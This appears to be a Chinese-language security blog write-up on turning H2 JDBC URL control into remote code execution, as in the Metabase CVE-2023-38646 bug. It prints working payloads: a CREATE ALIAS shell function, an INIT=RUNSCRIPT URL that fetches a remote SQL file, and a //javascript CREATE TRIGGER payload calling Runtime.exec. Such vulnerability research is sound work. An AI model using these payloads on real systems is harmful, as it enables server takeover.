H2 JDBC Attack

117

最近爆出的CVE-2023-38646 metabase RCE,其本质上就是拿到setup-token后在/validate路由的设置数据源时验证是否连接成功功能中可以控制H2的JDBC URL连接串并进行测试连接

在H2中可以通过CREATE ALIASCREATE TRIGGER来创建自定义函数

比如,可以通过CREATE ALIAS来创建一个shell函数并调用

CREATE ALIAS shell AS $$void shell(String s) throws Exception { java.lang.Runtime.getRuntime().exec(s); 
}$$; 
SELECT shell('open -a Calculator');

执行上述两条sql语句即可RCE

在只能控制JDBC连接地址的情况下,此时如何RCE呢?

http://www.h2database.com/html/features.html#execute_sql_on_connection

image-20230729160325233

在官方给出的例子中,可以看到在设置JDBC URL连接串时可以通过INIT=runscript from 'xxx.sql'来执行sql文件

org.h2.store.fs.FilePathDisk实际上使用的是URL类来加载,即可以加载远程的sql文件

image-20230729161202838

jdbc:h2:mem:xux;INIT=RUNSCRIPT FROM 'http://127.0.0.1:2333/exp.sql'

image-20230729161413624

但是加载远程的sql文件,需要环境能够出网。

对于不出网的环境,可以使用CREATE TRIGGER

javax.script.ScriptEngineManager 可以用于创建 org.h2.api.Trigger对象

TriggerObject#loadFromSource方法中可以看到

image-20230729161900683

满足SourceCompiler.isJavaxScriptSource(this.triggerSource)就会编译并执行

  private static boolean isJavascriptSource(String var0) {
      return var0.startsWith("//javascript");
  }

而满足的条件就是以//javascript开头

jdbc:h2:mem:xux123;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('open -a Calculator')
$$

image-20230729162407606